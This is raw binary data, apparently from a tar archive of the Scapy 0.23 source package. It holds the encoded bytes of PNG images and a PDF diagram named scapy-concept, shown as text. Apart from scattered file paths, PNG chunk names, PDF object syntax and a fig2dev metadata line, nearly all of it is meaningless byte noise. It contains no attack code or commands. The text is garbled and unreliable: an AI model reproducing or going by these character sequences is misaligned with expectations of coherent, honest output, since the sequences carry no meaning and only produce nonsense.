PmH@ڈ2Y^n|(YLx=jED;V% .5[MmU'v:HmdAVDؑv%chg ^iNYPлV4XULD@=I, H 4A74/tq2niaÇ4'¶Ӂ ݈tځL};EMw5H\mV@rQgGvcmy0{@\c|v3$ mĎl@igk0tq2>t,ZJ 티\x#N 1񘫮_L@iB#nog9HM4jH# 40q"·3'n@}^H@ڈY$bl<%~[a<>pX{^N HQd3 H +ֲTDm{:g%6o1Z 3Hs 8zhy@!i#nf:yZ苰Áu ks1u!wc6[@fz#%\R%W $ Hq43¶ˁ4{)imǟ7+Q Z٦&?@.gՉl q+"dQ?jHeҪG]'h8NH@,lo#”6if=|8SZje4ӁL=!y]@ʲvǵ@b58@{¦&v:X-%o2Ji@Z) @bāv I@6# s 7ˁ7.2(k*z\;Qˁ[@ a^$w u {.Ҍ&|t HEm/fCFt 7xX쎰<ZV;San,eȝE5kI@Z#mh o>DKdޖ7a5,8v-x"!["lHa,c#IX <ǵ3@nܨnj2U6%SE)6Ro}ȞwmkV:'K 6ifm6"'*s!] lΤn/FiuŒ:H5$ETg @ZYTt@}=3qHކ8- <!~Y';/ a:! $C~~aY`G@-5|iz-6}oOhF% 3}Coj qo7[>O-_H#X]Eg +H-?A0]nt @Z[ɷ\H3@m-s2&r`BF$[IY@=.n^HkWw-l磏{|@jD9fD@f)s s ' HqCfnp ݻJjю.l#'yk . ׿^-1Z h ;LLM4_펰ɹ!>K Hq~zIa[@BL@z9vwih߁Cks?>#lYv6ҩ&8\㏁'~0ktK|Y; B2nw 3ua[@}YZNZ멁4@64vaR(BPUy'jUc`ƍ2]:56 vtakbX kAy9[/Յt29F!i#v HI.ݻ݁ &;vh9=]FaQ?kV}$kȨ>yH [#:|?^Ϛa740ȟkrG?n!swy>F\`t kbd%LHWę]%Z$ë6o{3 ځwy'n:H$˗cƌêU /gyO?M6aժUӱ|rtv xTg!a#Wp z# 8:HȆrnr&#p f9f@&ooo\ x#Mr69W țo&MCqq1/h>[lݺ`ҥ7n/^ 6%&rjo*wI &eP5558~8:;;ގL2~χ &`c߾}A@ߓx q_` xyp GƁa' H`^L46Q2[$xf7Ѥyb o#ׂp-k\KA*3rx'|綎JJJztS cJJJ]lg9}jK@"|`'/7;΂; bmft(H()%`?Օ{u #+pk뙍D0& E= ;RQDko o{wߍڞۋzlN[Rphs. jldAE=CjmE6;It2;LCSI' sX%{M6H?n9/2x3j w`_Ho'!~qeYqoĉ ITvލjWUUa8묳$a+L{T.üy/ /MMlЬq@B@;Gv2s?J*Jl6G@Fl mիp\ jkez04/,zH/͛7csw{,WrÆ Xv-x̘1s?uođ#G3ŷ ~z̚5 x'0gӞ#+VN H7k ԉ|%vfjЙ5H\&^VRHh\, X4Uq畟|Mcϳw5k V<#p;sʕ+1c aZ k֬ PXXcѢE=]x1"-[H$\W3C-$ ?$Z[Gp aÇ?v}\8Y@8dw_ }^sE؝칬6H+p 1YXl HcȎ+1Ǐǚ5k>fɒ%Xdϡ;lU @O/2 H3HA" p q~f+:lRMw<.\}s@pZ4. {赠^JW ȁ+ IDAT۪ȁN&׮:9{Y'luf11HIw@eeclށN_ƺp D÷m2clj4NπzZih!idf#lIbuk@O{xvv3H RnR Lgا4Paށ:]M4fDؙhرwށ x6aVl&n_+lX]Zؑ0F69omy0u+gOp 35p L3 [))' @fÌ.l_2'"l(ƌ/d&)GP}H@w,ȁLr}8YOPA.& t GόAzd#LKZ1 2y5јyEd(I;NlއM8! S{A@?ZG rFv_f,ehzׁa'k ZٙKMXU#5f]n6 c|쐀 3F7h]5ԁmj";{/V:_|duumgzɁT3RNHMk}j1cY' Hsȁxh}XZ &2q_ɁLq9y2?ݿnַ3 /@:Q+v=FH"l [&Nt{MAA&3kۍV!ifս%!p@ZGŗLc嘔| q#p5.>@Z=V8o&˿ޗ:N6j;n~A89Iu$/T}H@Z@r- /^NO sL@Z@n̟wvGNV)LHx5wb ~/pqgu\a풀@IXCݞ9ص .xŬ&3𥫁;f:]lĽa[@%HFrUA@2(>$ -H,$:ҹv1YMo'ɓ 8f H-]؀#l=ρzk ́$އ [S# Ar &Sr|>Nu"aW ٶٿHnaq D--HcƁa% vI@j $ -M,J jEة؜3{, AQUORh\HG3T;Rk21SѕhRxɁj $ -M]p>Eةpic\zϴ.ZYQ>܅;[Ԍa;DUpE$"lC 7t/?'Vr #Sm#zGu cS$W# }i" as ͚F@z5&23A@o^29֡%>ޟT҈ljbΤ\5"lYfQ9bn [@&J4EP^ Ȓ`zƞ}Kqjh4 w&InQ32] TDsS$5Ѥ$ -~A`<~Ln<@cڮ)y9CGNasvfhY5^i5¦ȁ H p,c jI;$'H^P销a Z)RH'hB!j $ -'C:to6N@"kaj@#v3h Hwr 2piλ$ A sk&ydo"j4FH=ka{@/f89+8Ui`5r )H@Z=l'Ar @ܻ;f H~* 4@~@z`=_d"}ed(>$ -ȁTC0Hո9;vL&rZ[[a{с9N-Wh~娵5#l@ I!oee;^$~}QNE~.4 "mYYɎ͡C߹dGG۽@%. nڹ M4u>7S#)>@Z@:҉}H$ ;f@ZHW@Y0O@"{߹N@zE@{Bcij}M4NDFj T>:\@u I@zPQ&'eemp?J~e@aл L[Y3/#ÇhaL0:H5b]m $F|U7Dc}O)Khy >$ --d"bl10Iw:z#fYW@B?7dK{x6T2j 荰yGP t( `d`uHC" ou`"Ro͉VW3kxcm) H6P!CL>Pc)>$ -MK}$Vvցk'|9C#Gw s Lqڷ%%$@FԌخSd:Sja{@p;ɢM@rF>d:f H _K56khY@ޭa{1>$ l:ngΰ?zhHD}wafGؿ0{v Ta' H;K/j{Ė  H (/ۅ-Mp n38@ ȆHW@jge$ֻbH6E^;jWjkiڸH0C@9FqmH@ZII$/H>?3-b"uСH?H34G8s*5#2ټjFi" H (/g=/4v~XH@H( 5 70?Ç^s $j4j1>^ 7V(EPRwx;YP>4dmc|6 P߅}󥗌/ݩF@V@i6fD^[ͬOA[iw/@B l-[XQ7Hmd8Nva=^P;55S@ccPl|.fSr%dxX ɓ mmH;h$dI 0r$s!3P\/ _ylܸD"x!&w8pz!ݻŸqM7yk_D{{;&On ԕϑJE$Ad#Ձt@[=j^,wI("lEa=u/ Hs &65vy1H<$[9wnqk!\򕔔`…7H$˗cƌêU /gyO?M6aժUӱ|rtv59Ap3^(WS 1ȏ\8(N;j aSMvrub2dmm-.2 ~غu+EҥK 1n8,^6lyL]]/^q! bҥ$ ۶m39Ap3nKJ0pEH<5V&oV\/ qL4O]SSǏhhh)Sz|0ao9ۗqH@n$\Hgމ /9޻v~ZkBx%@Q٣r$┯%%%0H$㾑$܌lI4. ?^RaQAsNɁ̔)l%"MMM}nk.)**$Iv5;1C+xt3W IFEs|Y~n|>V+VDi`_펰vyza5p`SxZ@N8!I|-wFuu5UUUa8묳$a+L{T.s텐pFg)Beۋ$^mmT@v v:cư? ^7o͛ԕ@ʲX,xw,C,(;w.DQĺuP__gy . `8x (~ `Μ9`sb rj #p20q>k5uoow_ցD% iR9o<^WƊ+^ªU __?0sLZ k֬ PXXcѢE=?xbD",[ H555Xr% * Æ#TIa a LyY*)u 6c qLz+}T^@^y啸+3?~xY&s,YK,9R!Id>x}Z,vt vc1@:X.}^>*\@* H}5ځx}9hw+"IegT`߾ix%&C"**Xgc{; H}ȁXqҁ4R |[q"cR;? i.2a(6NrU7).VTL"E|@YɁ$I@G^@1v6$o7o"3V!^IpvKFxe9J4{Haʔ$@zBp+a'b{ׁ-V@t7fAR d~@BH@n"lB,$`(F@$ vBp+<¦1> Y}׈msҁjM5<{;E H !I {xpҫM4@'&M񏾷S1>$ 7AqB!6( 5M-c|6;xQrr wBč 9^m$.W*J Eꨭym$ B6V#lH6trosR[dj Bp+aɁ|aia, 8r6H@Z H­,~mo'y:N6ѐQOa!0mZ:HBp+~?kH@%bqD?s !}'Zq1u*Im;?B,/'I 8u1`> G/̤9ё3tѨ?5 ک}߉k" 9RQN--$ wL@tE(GCKsRoTމi(ȁ2w,Fp~?{_x.0Fa!OvF@[&9ڙ19y%HpM#|3r$pN1r ]vqAR; p9un@TTI@n_()::LGL̺YGr#ub$S'de%p@}=z5is' H}]fB$ -$FH@^dkCW:/&}Gz -$F(&8܁t81cރ)SXR/i1lL }"9  8\cS"NH/BR?d~@b**H@iA6R?j Cp#@r A~jkgczCp#$  Hm޵a>@b*+=ӌP6[$ #2[>@b. xY B$!R$ qyo:އNӦ9;nv.hltz/Km-!I 9ڸrې(&H(vzOHNFfuzO)  @.A$a?f@$A PH<9A$AH @ bS^Jh @ bSZ <9'Ax Aj A   H  B$  M$  4A   H  B$  MUXv-^|Ecɸ0n8w  VȁTO?M6aժUӱ|rtvv:kAABR%uuuXx1ƍ`0KB$l۶]#ryfwH^A׃p;$ UގL26χ &`߾}:zM&^퐀TA$>  5Ѩs"ikkÐ!Cz( վ#r5qzM:OTEqq1{nuYI~\q= 5Frd?<#N&^wAFTH@dX~=f͚j<3gNc#C  P6AA9}!%K`ɒ%NAAP6AA r M:t_x뭷Ѐ̜9_8p=݋b\}ո馛=܃_?q)vڅ_سgDQĘ1cCzM<{=q37|3fΜ >'V+`ƍG$/ Q|'$hCwy'n:H$˗cƌêU /gup7oF42zMa׮];|6l@]]nV@C/|۹uV(K" bܸqXx16l?Xv--[vzMUW]OEg-zMرcKPlIDATVVQ~8r&S[[. Çwc?Я$ M:to6z:8I&&jjjpM EUp7bС}~k.X`nlݺ&Nqc۶mhnnF"ƍ1b?^uO5@K۷'~:::PTTq%%%=a[qPWWꪫGAQKXb&M_w|AD"zM`ڴiزe -ZQQZZ`>'˲ ``_Ɂ4lK x7qFmmmEEEi_~a>GœO>/ˀkb?\l\y啨(3g9l۶ ،,˸1h M8$I=޽ "v܉Vr-Xp!.\8@qq1ݮ( Apq\{(..(袋P]]~^uO4RD4o~~KְaR. ?O0{l8SO=:cȑ馛p =G}vB,СC}v^#x6bg?̙3U|8>6 SE"IAA%   H  B$  M$  4A   H  B$  M$  4A   H  B$  M$  4A   H  B$  M$  4A   H  B$  M$  4A   H  B$  M$  4A   H  B$  M$  4A  Є?fuAAAxr  M$  4A  DaÜ  #M NAAbdSMAAh$AAs j~ɓ]nm  򑬃>K7Hۥv "ȹML,݁G۵$.AA9Z?:GoK$*nj5(@[\DG\@G\@[|@د8 4@c$$}5KgDvJn/(?( { hM p-dEi@F[̿A?'nf 7_>A#G@kLqZN#$cUcqn0,QR/ܸT~xsεdFH؍_R,By=`ǎx1aCUrAQ(  *AQPP$Aୃ2fA(.DɍC?A% JJ] }?в{~/Hf㦉HEm/wBDr(WȲhWvnM@q__񉑕Y :tG?yG[ց𙳍 *PQtBF^v5]}mΟ]d y_6>  K/Ś5krnK_?xBIpx#507RYPdۥ( ʋ! ?ي%߃ T9HKA^Glع^݌9kr"5юx )|kEd{\sǑO"("ŰT._!"#$&–chZi 9>dv3ykPUV?ECϙ R ZO!.(PB<̓O@n bKUn9طo_Bc71빭 #y믿'Uv@"NK DA(HH2IL.xEBE(& ځk=.pBb71;q>P(cXmrJB?#"D(r6 PXZҊ>~lAz@ ~OKP$ʵݎ0˷gvsH$d':Dlm?\!( $Y$ qy5C(:3#G!ugZ*q4k3E$I8p &|L t D * `PQӫu("{,ɸ ,A$2e9I!K (8Vl]  |y̙t>07\1g`ذaF9{A<}m"\ ZDd{LEJB}y:ƞ= Bqq1A@,CС܏otPhnix+*K'Ѷ}r4 YYSz=v%^P7M'"! mt|>Ѯb&XZ|7tosLvT=>O~uƚ.Dei1>l<(PqIBLb+GB0%ǡ\"|\U %|iT˲ 1ix#(++Ccc#**gNUUUx?bEݷ}%bLA =RBCYH2[(2dY"N}Ԅo A1pP- x;(onj,ŨSNe$DQUV+E0FLD~+c嬉H8qıS 8:;0L=ry(@"鈾vH(P+̈́ăE8v:"[lD%YVX'nq!dIfD |>|tmL c_@\%Oǔ)SyfV} p|O)-ZӧO-[}7N~"xqEeh]H$% ~E]QLq,ɈIr OA Uu+_'^PMLa1FN= h=X?j9&\<g]|, lw1'\pNŋqʺXJ$ŞжrѹI rdEFQL [۝"eIݎ3VÆw!EAϏǯ_d|w%~>D2?ض0YWiq) *XfJB~nf(;:fv{%%N Ðe@gO|(h;OD5[>ĭtΜTdaw r(3T2$uH>NAUw.xB}W^gDII Na sě!Ec{o≯V,="/<=ȶݎX uw%{1Tcx̚q[vD{4 =o 9؇!%E`B59=QQH]H@,ImD8;&%pӔ~\yh}Ɯ(G@{Y>|>M&$Nm> /ǭwf[NPg:55!IA T ȳ>)o?1c!v+AA:P⭀" @F8ԉR6S6|8ܺMhƠ EQ M?Eyn?>D; {HAJ$\B|튲#xa lq{#=?珯g_}c>8ք=O4w=/Ɯ,#JTJ@^yQ$dv;U?]tlQ TO DV֧Z`(**©L3!{>6E<ABumϽ` Q@j"G( Vca$E~cV8̄i1^| ߽b{9!tJk2vL=E*zg_4cݿ` cGȄ, ѽ]㫱e KqAnh sHH2Nd\Jq:&m7?O8=k DQ𑣱cs9ifǎ5OčW݊!A[EEEYn4'Kd$|㔨 8ZKDX Q@I@Y#w4(cft%( !+/Ay8(`1!Ǟ% R'>wylA( ]Qְ(KnzCu2Ɣ G])lxv45 g]̅d"rURʢ9Z èR>] | pi_5j ~?@E(ېt$ 7]]Q$1({J?1>ѲAEmP ; ␥(s!(- G`ݫ >vAZ~#࿮Hq {Ĝ?!U8L%!˔kݿ6dHrx4]'( hFqIF2g>O De"ˇ8d䈢Qqs̶qQ`;*(@ĞeA0 _/7ܸt1FF"G"@"@<ϓHA $;: Q(rJbPdsPOÃc T(t7zU\ƨ39$D^zk&կ 8cv3qŏ-.tDYvByaE}8T@V?݌P'[;P\Ĝ)c{lYA$@P&O(MG .*-w݇gςZҽ>d"!AJUj =A@G'zEEAIt0!ہTA:v'G8(8~Yr$RåӸ31}XPSװ*6L<ɟwcW3z(]8ǐxTe8|CNuF!A@BNQR˜jUr1СC3QU5܄1!1`,tV CNA}y#=OA@G%w H? ǡHne.>ѢO[O>aˈcEBHa?o:̛2~˩WϜN .C/҆ǟV,~PZ`~l}`ֆ6{djTYX)Rh5@ #SS%FAH \u[`hR+uaN6ڟtS~`=v BѠ`mdj 2,ZVDNDDD* hLr azDpU v(@a &XLӄU8" n5CUInJ݊}E>'/ċɩm%k}s_{zz҂ 4@0C;=_Mv o%|Qsd()e-%AEn|O&#rA& K0 aV+t#uB֡?Na7 cXfUYGQ[QOgrXn4awZUm7M8 Hm|BQWdb @V.E%)m>s=cTsr[l:KDD@.Yf0 \ zM3ofܴF(ݗפLɢ*还חKwQPjsx8LFF]W: \bEU?hI@ZcTU<;e0hoMDD &^Nqw%""kDYDŽU>=Q&r~bH!3DDDD-@ѦDMa%)l""""ڬ.lHҌ('MeIENDB`scapy-0.23/doc/scapy/graphics/scapy-concept.pdf000066400000000000000000000172421320561231000215030ustar00rootroot00000000000000%PDF-1.4 %쏢 5 0 obj <> stream xXKO#Gϯ[`%~?(R.bcl#~n=/EHSU=/5g>WJ{9YKVku-׻uSߪW~zp(TʹΗSSm*!a@8B:(29Ld)4Y(y`˒q7ߟNV1U; 1ϴ>!4ꛑuĉyOD5L"B)A|bJ RLH9="#X؝s#Hp*xS+1kU2S=hFB{G:?*(N8(9A-%H$ZxS!ȔeF8cָD*˞<+LHa#J>4 n׆Ȅ~VQ\EeAr`728R\EQ@Jgl{LbL3uV [<KU).`I&b$ qb^Op4)Se `t*0%kt(IYlK8wҌ6ɗ@1=RpbvWapvOyg&[_*VE먱3%=PZx&%`!ƙp&=Hp%9dz gM$zR!cQ`'yJUmk^|>Veu{(cfoiHcVW~}NYUj{XmWB!([_,G>cih ۑES#?P?߯~} +VWwksBnam[M{0(4IAw`,(ب}m^z{tpoc"Gݗ/տ!endstream endobj 6 0 obj 1420 endobj 4 0 obj <> /Contents 5 0 R >> endobj 3 0 obj << /Type /Pages /Kids [ 4 0 R ] /Count 1 >> endobj 1 0 obj <> endobj 7 0 obj <>endobj 12 0 obj <> endobj 13 0 obj <> endobj 8 0 obj <> endobj 10 0 obj <> endobj 9 0 obj <> endobj 14 0 obj <>stream xUT TawgVeRΎ?Qhp+RiY eADQ`rhnڲm hHE"Zh=Mw8o9isyw}܏ IrNjst,\\@ E2L}0eV,"= eq!5΅P>dyM¢< FFlܸ^c(1j0 h~;m2s\^RZdwMƢB+=_z6h.-Su%O1䖚t$BUS/2X ie&'݄x#D*H iD"NZď]D,D_֞Զ Z(my{.|N:mF`"܅9~2x);NBWb ]4H3B!s _11h%bU0{euC- D)* 5Qy=mqµDj։⼈_^i̱;ШBԩJ"7<^ܘ^ |/*PB u)YXHŇ@ZKCPU\JҦlw|1XT>q,;^ m{ʎٴx3w.d6^*;w\u7SR~QJR+a +;`Ac@]u^hg؁dk<, ?°~+^8NPܬ إ9f`U0ijx}EdX9h3w'Kg^'۝{jKj#=ؔAߴك )ٱHk+afl9kfppVN#w#P;81AsH*8Fy9kԬX(d4<T^ӱ_޹W |CCˡJnƲfk>!Ya\C NcVò(L'OwmSm }ġnC hVB1>g v87 Fj,߰d,1WZr:OG+4{OL]ɉt/O簳uɱ屸t`L r< anXoSCr(>$BP1*V`2-#S|8!ΚN;Cjve7qm#Y(E[os1pOR:VvJj/|x xAAϮ/|H]26LgWvy%tUG /(8ТDڪ-q%E`FM[`vUB2(UxbӛB<ÖVOc܇-%GB}Mi| ^%(M2&s^=_Զ3ʩ;Ac endstream endobj 11 0 obj <> endobj 15 0 obj <>stream xUO[Ha]uuS2wT,J/E,*m']뎚ڪav"" zUH,'Q}9 ca괛h..20`rtOڊ'K-IC jTP}##0#0\vScʽT{9/??jpPtBV@Xmf8Ak1ݤ7i[]=C7Sc٬mT>*.,,:s&s:kX3T-d57 "H Vi `샴66DFLEz1,M>+F/F#$ZAat [(fyf9cF;7Y?#\>)/zq}|3fl\ p79t[Qca.4IZ<5:B( J4N%I[i>Ȳn[c`<4*ghC<```B)-w\CPByWÁ>rMNye)sA=BFt%piv>kۣRYFѸDqߒF#j7 endstream endobj 16 0 obj <>stream fig2dev Version 3.2 Patchlevel 5 scapy_concept.figdirk@noname \(Dirk Loss\) endstream endobj 2 0 obj <>endobj xref 0 17 0000000000 65535 f 0000001735 00000 n 0000007134 00000 n 0000001676 00000 n 0000001525 00000 n 0000000015 00000 n 0000001505 00000 n 0000001800 00000 n 0000001912 00000 n 0000002596 00000 n 0000002283 00000 n 0000004609 00000 n 0000001841 00000 n 0000001871 00000 n 0000002854 00000 n 0000004872 00000 n 0000005671 00000 n trailer << /Size 17 /Root 1 0 R /Info 2 0 R /ID [] >> startxref 7349 %%EOF scapy-0.23/doc/scapy/graphics/scapy-concept.png000066400000000000000000000722211320561231000215140ustar00rootroot00000000000000PNG  IHDR`V pHYs   IDATx|G' .E"5ܽxw(^(.]'slrwݻgّwrOfy)**J"   pV8    a PgHHHNPɋ0HHH(k3@$@$@$`'\F)„ G)RoĬYShdɒs-^/_|&v*&lbĉ/^X|y7IHH 8iǭyeL֭[\r=|Ν;yEٳg.]m]%""",,,ѧFSYdɚ5'OcHH^bҤIҚ)()Ƴ EiӦagСv򤡥J # HՐ#  HdVHn~GӛM@gI   UPqvvvuuTW,L$@$@$|q,B]|W^T~ڵkȑA7no&[l%K2dH@@矿KwV{EʫWP}˖-o>׮]ݔv:^F^~?UTRBׯ~z8h7(WZբE L2ݻw?qD29 w?{,܌ʕ+_}̙ڄ.]*ҿ}}}k3{Zj̙3O |/^ݻ( O>//["̿)K I1xzzI=LJq Pr…re {OF9CFR#J'>>>GF~!*r_: F-IA]zݓC 4b:R QAcPLGȚQFہDwwcxt… #$⑤?^~/7"'ٳgl{0̈́\N}ȩ^kԛ7o.99 X2A$@$@!`}l?} ,jș>_q.eJ_pA.Guqȟe VgPiӦڍ:tHR ڲF*&]+vD#1ج=~ځ۶mZ\1WժUQLҖ5iܸL#QeŊ@N7oCFJJzE[J"VaIMI vC٠G#V. X@5< xժU-0 %g'>L$֭ 83O7jIF.0qOLQș Nid:u0Yu(Q##u5;̅0X G>|ouM>]''q%!u}KaGSdB ڙH}.0"i<LhWJn!Y;iIHtlL3gV:vXfMHMɵ6aINӥK(N+0A$@$@"`k·2ĔCGXA&Vb?Ɂ r"y<5׭)Fbv)"k-80 Z(?Ntao3+|q1HcO'-| Əҥ޽{p < ;udvj $\֘hd7[gC~D;8Ēз~M3gСp& ˲=vԨQ2hUV҆p)iHn\;(8dX$ѣG!b,X'8`#%  0es,[nN:8hSǯVo/]+Oc'vDk',pA˿򋎦Q];`*BʙKxt!9G["% J.ΐڵ| V&9Ivӑ:% = (e &B8" (TD\|ǒ Qvj@~%$tS6N#"U EK.tL`w7\bpkQ3Rґ8oDxbDRF5 p 2:ȨbdX~+LرC l Hb a1;0N*oG X| [𙍏կ;0灸|&1ƍ`<܇΂UTg%vSR>aU%X<;w.!L½;r|>\AXh,]vn†#H(+,3`Gܼy C/FhAjnFGGٳg 6,C r;)"UXtP b&!Bn"ETRpTm8``:q2vHV XvxCQ-]LL'SLu xJRիWcC{Gv]9RfzCXrnؿc r8OHɤmtQ!A va,\xQ*O?p!!CLhaIFp2txAaL.&%s[<~t635Ld]i  'ig[z`J)πǏ|]o/$7a8bF%n@ca6?R؅e$qTuLl`AP6k((db0j4tAl@Ab  p(ԩ2ԋYt 8;) )S./P K]YF$Ft S:UxK$@$@&` Y[z n_5J62cE  p(wv(, P>&  0'sd[$@$@$@6$`Al,T GhkUi||J$@$@$ !b   &.BY6"    e$@$@$@$@YcMHHH4gB!o _߂@lb \tij~8 ?c. : $NSN괝VF .wasͶ>gJlvKl ֭[[h#EIHL6 vٞű$@ މ$gb悥X碢",׾c'NcI `&88؎ȡH5&b1   Q}$@$@$@&1 (e#  0eXHHH@(kh (kLb$@$@$@J'@Y7DHHHL$ϔFEEReE ",={4Ҡ۸q\]]xWwww+tP] @%~l5jgggdɒkgL5ZܥFlyl NhdD5 6rHC/>jWqk?X8K5aa|6߿.Q ]?]2|dv&N7?n9*"yzt=Ǫ82[UZM9-`߱oZA3<}W+PқKyzz:M&5 ڱc*^^^ iɲg1&`_פrrrNşv묅J)$f/c{ooDw 5H 7xQpI4u?ZO$@$@$ Q0A$@$@$nGIH)Sp,F=<<3+WlٲH" 6N 5 FNJ ;EA#HHQIFaڙM_t =nܸѢq`d#!yiɓ{6mzm`$@$`ӦMK,СC-ӼE(;|3w:99tY'KOW*UxGJ$8?s%x"@Y 3IcV"G8jՂȁāQh5 H8nO 'ٸuű !1}^?}|gyxj 9YsرF/9I& ͒% "w޽{-Zltު;H8`o Q{ׯҖ'"dD...Z у,ҽ͝#ӤTe)ņǁPX}ҧ0T>a$dٳg?nܸQpamv`t̋/2f̈ŋCA74os9ޚ ~/=X<2Q9Kɝ"E <Չ&MȠ>L"-[#Lm 4^ |ҥ4eNOO>Lɗo{㎽ބGt_=K2z2Vܿ9jV$_ r?%Ѱ0lG_~jʕ+'CKu2RqFQxhpo7x1>2{5ʝ;K5`$0uhڵ@3g>|x~ P;4iG <~֭[:uN:?Tȿ̇Ν;?k3G M?lٲnݺ}fTYJf>`6hH{2E$^1ع{,!RBQFAy`T&dF, c>343fS֬Y1"-$a֤M6lbֹ9_#K ol)k3~B"QTge =~>4Zݺu0KtU^ j;ԨQFZJX/% SZ>|XN=al;f$:wh8 f# ,6'qƘMsJƈ 6H3@3g֮‹va1.͙3ؘRf͂ JZ,n"~ȱa X@Ji,Ė͒ Xݻ Zx`ZUVV&2W 1c NpsF;wR=e(kUHHHs -Z3X?֌ѣ1I:5ވNExaڛ7o֭[Oƺs(Q[SMo5bI  03|'ۈ)\c9 v2e1rB""-[e ̍!5ʕ*$Sd*VS)do.&@dDxdxheTI``8F $@9VZˆJeݝA2 ˗/ck4 K'$GŋS2ҩ2U8C8Ao)Ċ(s6m4%wr.]G gn2R a 'Ϙq#'\;:7Y6ɓ[wq =|7؉'#yK`J,ܔ?T۸[PV⃩ ,<lٲ+V 9ѣ;wOVb[͡ୌ9K6Q֛^0c̙VZQSo|6[S9Q@ȷL Nt@0ӣGRoW\V. Z$@$@$@#@YWBHH@ $,̘;/1M6  eY0 p8>Yah륛|sks82 P>& u|@4lŀLqr努{^](kh- ((]Hl'Z(\DDƵ(P D$@* *Q6GE^⻞K=>_!2S@h=0o{± B erXGl+"D"ѯS%3!3l9 p( 4M1g: IDATjP`:[ctVo"CVC ޽*\'H6-˂>="-,p>oްd^S aSCyCt\\ eE W G8.;!4  07=7Ĩng xJ$@L;q;0 (klA} Ԫ ҧoT9U4]Qrx)kGHH A%抔^F{qJixxx*UjȐ!ı0[t6J6D$@E (XըX^|\dL# 2hZG4/_Œ/^reaaay[n+T#iC| Pė˓ hCWHyʉM'O<85j(_<&ue11L@q&͹-K '6 ul` 7ⱺGhGǏbp!!Mwf5!ׯGzCae@OΔ%ΥK._<{lٲIرc3Gi%k0w7+ >K;HI|<#?vss&wnrلtu%bDD_zPW^\`Nݏ?W_```ҤIݻw-U&eɚwHh*~5uh_F nަ|d+NNNZRřP۷%AmYd1އ>}^z*;ѣG>ꊿ1moWZ #n96$,Y,Y2`$@$@ &)o>DZE n޲)e,׊+KXqHH 0þ~X\+.jWc9Ѕ&`Y I56NIHZıcpl~V {ŖbѭBGxAqI'f1_Bɱ 8<_h4MTb/qwN<> /˛EDxpClٲtQIY5 %z$@$>Yy_"tϟY/VL01[euy7 >myFiXw8rgk\Q $@$`#h:64ȑY<~!""ld"u<59b 0I\m@ȓM,$`^ e^lI 2"q䬨ZVϐOta=ԛ |wx)U52 &H@Y*/3gSY &,4~~d `o<ȞblQDA*;q񦘶\?~^V1_V~ .FCbep$KWnU}Νk׮ݤIuO U\'%|J-]4Ks.R'(uѷF/ r `/JQK%pMU%&uk<-KA T.-vt"&}ËlA5>IH@ž磷pcGw4jgkh; ؔջ_8GAթ,W|O¦6s&@Y' 1Cg3⭷XC-Jh ENhGqK &8B%Nk$b4]d˨q%L/6sH"(k, 0&fջ8+I1oXVOMY8? )e-  ; 9İٜGω>v0&A}(kh1 ( HO5y>\*E/4_+XZb(ks$@$` >~"=}tp.[䓔)/*n,'$8PIH@@aI pfEƴz 2Gǚ= =JSѼC̕"G-Q2C=!ipFMo rx+[Ňy;n|,N\j,UHT-r%vN_0G$@%|Ⴗ͉ 99]*&/#z?Y6NS$@%p֭0Ç'O\z)Sfɒż5H)/^+.@bȚZJ3dȐ+W{x~2q֬Y?~駟RJZf ؜ѣGV*' ػwa$.E4Tsm]ܔ+2[svH nfĈF*Knر;w6R f̘-ZȲ&$$$***iҤV] B {^^^P0Ra'ٲe1˄j+",<53/ӥV h!k%Jh̘1 }-[^zեK|7M```PPclHWdž5jV4j^i *..*ͶzdMĉ؃|W^7oFp+^rX }]"tҜ9s\]]!;j!5j/wڵ~z)=|$F%C$`ekXcW`Ma\HGkn7" HJ}h74 ă@?4i|7%5kMSzk׮AyfP!Xھ}TrP'{n͆2v3ѲeN>Z|˗/aSkӧOFXHB^#LCgd%5_i1[)S{Z 4~2^~F#GjGϞ=۱cwv $?ݴitIW0тiӎ5 HCJȑ#<_[>}ބ\̄]4"A&wB% #kf۶mh5lfqۧ`QQ"(DsNr ]% } =d> Y"I +ӦMsڽČi*Aм>uԒ2pL %m:+[ ܁TZizX9 #kfܸqCc11se˞9sJE*p$P@Ѯ}ss]nܸS":vXfMLHZG $@vFKpœXcg/7IbѴ(QΆᨛY^i#p8`aŊS"ѩS'4򈕇 [`˗O. V`kzӢDŽ]7ko""E!CVHu6=E8Q/M߾}qiΝس =`aa֕2(f) (@ݺu튌X70 efOe[32Z$5h;2=  &`K0#gJ`.[qV0'\|PKʍ# %{ VXw`^[4 4Py kN^JyN  0GPBȗ7r&_pD_}r޾}5u]ʕ+7}t[jC'/7$`Q58tIf*U 0u_!Š{ ,?e%aÆ>;)T[, hѢ~R#ፈhرcc$ XC .QB*}m7 is%KoM 1?ddП=RǧK ȗEHGGѥK Ί;w.Iaj*U3#=_f-K#$ 0M$@$`^s!2^gkĐ5EP#SJ#A>)2N4*1284 1^u[@!^;XϚ5+ X%*׮8aBXO#IlEap hj඲@Ok_7˷ Q$O0N ֱI (f}[ d&I`# K*yȾ7/޽wY2$uK&{:EgӤN7OJWZ Јaiؾ #Rz{v%' ŋFlj# xڿWo\ѣ'J&YFQyl`i^kG']ǰܹs6lܾY3f[ $,+55Gy#.ӗO'ETb̧h?MK5vZ9(؜;kk ?ZG_5+Duo֟~ma*ZO}5VϔANS5%]jF'& ia+p 59J07 6L<-1L\jۭk8yA抑shD9qc0 `d#$`fNl]}01mSf?wye^}mc{E+1~&;:65\rd X@YzUK%P7lV§Rd9U'A^o_!Xk%/MW_pp_49Dhd̅6@4hY3m޴n Or!}nsYF33fbōX 6xjlppȐamn 0n^$Ѳ&QD"c-QW5 - `YӇߠM# 8u q]fMK֠> XB0'n6'MEvC`˖-f =,JBQٽoִA;vPahLGd%pB P(,!O1>XQݳhCoxQ4 U8ԋW`J/-kKEYv҅ A3{ `\J,*Y<txuNH@fLvJ50ڮ^_5{~Vj^P8zp#WTy!KYKj$ٳs&Y 'i|-2gά HO7iVc*+2,A"@Yc.l{6f F#_~Zzls{p4iZ0PQM2E[I.]t~m-ڋy>¹CW^5olH@(kTh6 ߇j.DlITH >P`pFB ϟ;lUO4  58t]ml5ko!=jٲ7Y,(ѬLfzxpp }G d?[Bu"`>p O:iL:uV]f۽/߿U0Re=&=u eQʹV"""6_}`7uB׼nx+ǎ̅uCo~~~tפb#0m:___= 0WD%o߾ñHW"G~M$`.5"vH@vn_߸G@?n@^$@Mơ_?OG#J%űU=O$(k>![ u~r)w,,WxxKcH PH .NVJ ""DpgĈ9b8FR˿G!>&kV]f 98P7wng1L[&CgZ7;4#/^5kVǔ*,C$ &oVhh$ @ 